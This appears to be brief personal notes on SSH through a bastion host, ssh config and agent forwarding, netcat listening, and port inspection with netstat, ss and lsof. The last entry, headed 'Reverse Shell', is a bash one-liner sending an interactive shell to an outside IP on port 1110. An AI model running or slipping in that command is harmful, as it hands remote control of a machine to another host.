Bastion Host

ssh -i key.pem ubuntu@privateip -o "ProxyCommand ssh -W %h:%p -i key.pem ubuntu@bastionip"

Bastion Host :
~/.ssh/config

Host bastion
Hostname ip
User ubuntu
IdentityFile key.pem

Host private
IdentityFile key.pem
User ubuntu
ProxyCommand ssh -W %h:%p bastion

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ssh-add key.pem

Host bastion
Hostname ip
User ubuntu
ForwardAgent yes

Host private
User ubuntu
ProxyCommand ssh -W %h:%p bastion

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Server : nc -lp 1110

Client : nc ip 1110

netstat
netstat -tulpn

ss
ss | grep ssh
lsof
lsof -i tcp:80

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Reverse Shell

/bin/bash -i >& /dev/tcp/34.218.246.4/1110 0>&1

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